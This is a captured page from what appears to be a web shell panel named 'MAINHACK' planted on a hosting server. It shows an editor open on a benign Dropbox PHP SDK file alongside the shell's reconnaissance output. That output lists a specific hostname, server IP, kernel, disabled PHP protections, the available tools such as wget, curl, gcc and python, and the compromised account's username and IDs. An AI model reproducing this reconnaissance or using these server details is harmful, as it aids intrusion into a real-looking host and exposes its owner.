[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AuthInfo.php
<?php namespace Dropbox; /** * This class contains methods to load an AppInfo and AccessToken from a JSON file. * This can help simplify simple scripts (such as the example programs that come with the * SDK) but is probably not useful in typical Dropbox API apps. * */ final class AuthInfo { /** * Loads a JSON file containing authorization information for your app. 'php authorize.php' * in the examples directory for details about what this file should look like. * * @param string $path * Path to a JSON file * @return array * A <code>list(string $accessToken, Host $host)</code>. * * @throws AuthInfoLoadException */ static function loadFromJsonFile($path) { if (!file_exists($path)) { throw new AuthInfoLoadException("File doesn't exist: \"$path\""); } $str = Util::stripUtf8Bom(file_get_contents($path)); $jsonArr = json_decode($str, true, 10); if (is_null($jsonArr)) { throw new AuthInfoLoadException("JSON parse error: \"$path\""); } return self::loadFromJson($jsonArr); } /** * Parses a JSON object to build an AuthInfo object. If you would like to load this from a file, * please use the @see loadFromJsonFile method. * * @param array $jsonArr * A parsed JSON object, typcally the result of json_decode(..., true). * @return array * A <code>list(string $accessToken, Host $host)</code>. * * @throws AuthInfoLoadException */ private static function loadFromJson($jsonArr) { if (!is_array($jsonArr)) { throw new AuthInfoLoadException("Expecting JSON object, found something else"); } // Check access_token if (!array_key_exists('access_token', $jsonArr)) { throw new AuthInfoLoadException("Missing field \"access_token\""); } $accessToken = $jsonArr['access_token']; if (!is_string($accessToken)) { throw new AuthInfoLoadException("Expecting field \"access_token\" to be a string"); } // Check for the optional 'host' field if (!array_key_exists('host', $jsonArr)) { $host = null; } else { $baseHost = $jsonArr["host"]; if (!is_string($baseHost)) { throw new AuthInfoLoadException("Optional field \"host\" must be a string"); } $api = "api-$baseHost"; $content = "api-content-$baseHost"; $web = "meta-$baseHost"; $host = new Host($api, $content, $web); } return array($accessToken, $host); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830